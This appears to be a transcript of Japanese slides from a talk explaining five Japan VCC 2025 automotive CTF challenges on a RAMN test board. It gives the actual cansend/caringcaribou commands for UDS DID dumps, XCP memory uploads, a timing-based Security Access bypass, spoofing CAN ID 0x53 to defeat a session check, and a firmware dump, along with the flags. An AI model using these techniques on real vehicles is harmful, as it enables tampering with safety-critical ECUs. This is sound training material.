Japan VCC 2025 問題解説

Transcript

1. Japan VCC 2025 問題解説 cartagaitai勉強会#4 _ishii 1
2. 以下の5問を解説します。  [D] DIDをダンプして  [D] もっとDIDをダンプして  [B] もうひとつあります  [B] タイミング通り  [C] FOTA 2
3. [D] DIDをダンプして  ReadDataByIdentifier を用いて DID 0x1111 を指定することで、ECU D の UDS でフラグを読み出すことができます。 3
4. [D] DIDをダンプして  ReadDataByIdentifierは以下のフォーマット  [0x22] [DID 上位1バイト] [DID 下位1バイト]  今回はDID=0x1111を読み出したいため、以下のCANメッセージを送信す る $ cansend 7e3#03221111 # => “666c61677b723361646d335f7468346e6b737d” が返る $ echo "666c61677b723361646d335f7468346e6b737d" | xxd -r -p flag{r3adm3_th4nks} 4
5. [D] もっとDIDをダンプして  ReadDataByIdentifier を用いて、もうひとつフラグを読み出すことができま す。 5
6. [D] もっとDIDをダンプして  Read DIDはcaringcaribouが便利  全てのDIDを1コマンドでダンプ可能 $ caringcaribou uds dump_dids 0x7e3 0x7eb Identified DIDs: DID Value (hex) 0x1111 666c61677b723361646d335f7468346e6b737d => flag{r3adm3_th4nks} 0x2222 50574e4544 0x2223 f37db951 0x3333 666c61677b666f756e645f31747d => flag{found_1t} 6
7. [B] もうひとつあります  問題文: 昔はUDSはありませんでした。  ヒント：ECU BではXCPがアクティベートされています。 フラグを読むには、まずGET IDコマンドを使用し、その後UPLOADを使って 読み出してください。 （既存のツールより、cansendで直接コマンドを送ることをお勧めします。） 7
8. [B] もうひとつあります  Step1. CaringcaribouでXCPのIDを見つける  送信ID 0x632／応答ID 0x633 $ caringcaribou xcp discovery -autoblacklist 10 … Max CTO message length: 8 bytes Max DTO message length: 8 bytes Protocol layer version: 1 Transport layer version: 1 Found XCP at arb ID 0x0632, reply at 0x0633 #################### 8 10秒間 CANメッセージ をダンプして、定期的に 流れるCAN IDをブラック リストに登録 その後XCP のIDを探索
9. [B] もうひとつあります  Step2. cansendでXCPのコマンドを送信  Step3. UPLOADコマンドでフラグを読み取る $ cansend can0 632#FF00000000000000 # CONNECTコマンド セッションを開始 $ cansend can0 632#FA00000000000000 # GET IDコマンド デバイス名などを取得 $ cansend can0 632#F600000000000000 # SET_MTAコマンド メモリ転送アドレスを設定 $ cansend can0 632#F501 # UPLOADコマンド 1バイトずつデータをアップロード $ cansend can0 632#F501 # UPLOADコマンド … $ candump can0,633:7FF can0 633 [2] FF 66 can0 633 [2] FF 6C can0 633 [2] FF 61 can0 633 [2] FF 67 can0 633 [2] FF 7B … ヒント：ECU BではXCPがアクティベートされています。 フラグを読むには、まずGET IDコマンドを使用し、その後 UPLOADを使って読み出してください。 flag{p0st_sc3ne} 9 メモリアドレス: 0x0 は不正な アドレスなので、必要のない コマンドかもしれません。
10. [B] タイミング通り  公式の診断ツールを購入し、ECU B に対する Security Access のシード 0x00001337 で期待される答えが 0x33ba7e81 であることを突き止めまし た。 この情報は RAMN から DID 0x0001 を読み出すのに役立つでしょうか？ 10
11. [B] タイミング通り 事前調査  Read DIDしてみる  想定される流れ: Security Accessを突破して、ReadDID 0x1でフラグを読む 7E1 [3] 22 00 01 (ReadDID 0x0001) 7E9 [3] 7F 22 33 (Security Accessが必要) 11
12. [B] タイミング通り  Step1. Request Seed 27 01でSeedを要求する  Step2. Seedを観察する  Request Seedを何回か実行するとseedが増えることがわかる  おそらくECUの起動時間からSeedが生成されているのではないかと想像  再起動直後にRequest Seedをしてみる 7E1 [3] 02 27 01 7E9 [7] 06 67 01 00 00 49 F0 7E1 [3] 02 27 01 7E9 [7] 06 67 01 00 00 4A 2B $ cansend 7e1#022701 12
13. [B] タイミング通り  Step3. RAMNを再起動する  再起動は直接USBコードを抜き差しした。  ECU Resetもあったが、Seedは初期化されず。  ※この時に、CANメッセージをslcanで行っていると、USB抜き差し時に接続が切れ るため、CANはUSB-CANから直接やりとりした。  Step4. 再起動直後に27 01してみる  Seedが小さくなっている USB CAN 7E1 [3] 02 27 01 7E9 [7] 06 67 01 00 00 04 e8 13
14. [B] タイミング通り  Step5. 起動後すぐにRequest Seedを大量に行う  Seed 0x00001337が得られるまでRequest Seedを行うスクリプトを作成 1. Seed: 0x00001337が得られたら、2以下を実行。0x00001337を超えたらUSB抜き差し 2. SendKey: 27 02 33 ba 7e 81 3. Read DID: 22 00 01 を送信する ※ 0x00001337を一発で得ることはできず、5回くらい再起動を繰り返した。 おそらく1msでSeedが1増えるので結構シビア flag{temp0rary_pl4stic} 14
15. [C] FOTA  ECU C のファームウェアにフラグが格納されています。  ヒント：ファームウェアは RequestUpload または ReadMemoryByAddress を使ってダンプできます。 15
16. [C] FOTA 事前調査  デフォルトセッションでRequestUploadを試みる  デフォルトセッションではサポートされていないことがわかる  拡張セッションに切り替えを試みたところ、「vehicleSpeedTooHigh」という NRCが返ってくる can0 7E2 [8] [FF] ln: 11 data: 35 00 44 08 00 00 - '[SRQ] RequestUpload’ can0 7E2 [8] [CF] sn: 1 data: 00 00 00 40 00 CC CC can0 7EA [4] [SF] ln: 3 data: 7F 35 7F - '[NRC] serviceNotSupportedInActiveSession’ can0 7E2 [8] [SF] ln: 2 data: 10 03 CC CC CC CC CC - '[SRQ] DiagnosticSessionControl’ can0 7EA [4] [SF] ln: 3 data: 7F 10 88 - '[NRC] vehicleSpeedTooHigh’ RequestUpload: 35 [圧縮/暗号化方式: 1byte] [アドレスとサイズ: 1byte] [メモリアドレス] [サイズ] 16
17. [C] FOTA 試したこと  車速を遅くするために、ブレーキやアクセルを操作  すべてのCANメッセージを0に上書き  しかし、 「vehicleSpeedTooHigh」は変わらず…  ECU Cを操作しても変化がないため、ECU C以外を止めてみる  USBシリアルから「Y0」を送信して全部のECUを止める  「yC1」を送信してECU Cだけを起動する  10 03で拡張セッションに切り替えに成功  Request Uploadが有効なセッションは 03でなく 02であった 17
18. [C] FOTA  Request Upload / Transfer Data でファームウェア全体をダンプする  以下を実行するPythonスクリプトを作成し、ファイルとして出力  Request Upload : 35 00 44 08 00 00 00 00 03 FF FF  STM32L5 のファームウェアの開始アドレス: 0x08000000  STM32L5 256KB フラッシュのファームウェアのサイズ: 0x3FFFF(256KB)  Transfer Data: 36 01  ダンプしたファームウェアをGhidraで調査  文字列に”flag{}”が存在しない  ファーム全体を見ていくと右のQRがあり、 スマホ等でQRを読むとFlagが読める flag{w4rn_building} 18
19. 余談：ダンプしたファームウェアを解析 UDSの処理を行う関数(Session Control) このメモリが0x1000以下の時 にセッション切り替えが成功 CAN ID 0x53の値がそのメモリ アドレスに格納される 19
20. 余談：ダンプしたファームウェアを解析  CAN ID 0x53は大会中の取得したcandumpのログには流れていなかった  他の問題でもCAN ID 0x53を送信することはなかったため  おそらく、ECU Bなどが起動直後にだけCAN ID 0x53を送信していたのではないか  実際にCAN ID 0x53でSession Controlの処理が変わるのか試してみた 20
21. 余談：ダンプしたファームウェアを解析  CAN ID 0x53に0x1111 (0x1000以上) を送信 $ cansend can0 053#1111 $ cansend can0 7e2#1003 can0 7EA [4] [SF] ln: 3 data: 7F 10 88 - '...' - [NRC] vehicleSpeedTooHigh ダンプしたファームウェアを自前のRAMN に書き込んで、デバッガでメモリを読んだ CAN ID 0x53で変化す るメモリデータ 21
22. 余談：ダンプしたファームウェアを解析  CAN ID 0x53に0x0111 (0x1000未満)を送信  セッション切り替えに成功！ $ cansend can0 053#0111 $ cansend can0 7e2#1003 can0 7EA [3] [SF] ln: 2 data: 50 03 - 'P.' - [PSR] DiagnosticSessionControl CAN ID 0x53で変化す るメモリデータ 22
23. ご清聴ありがとうございました 23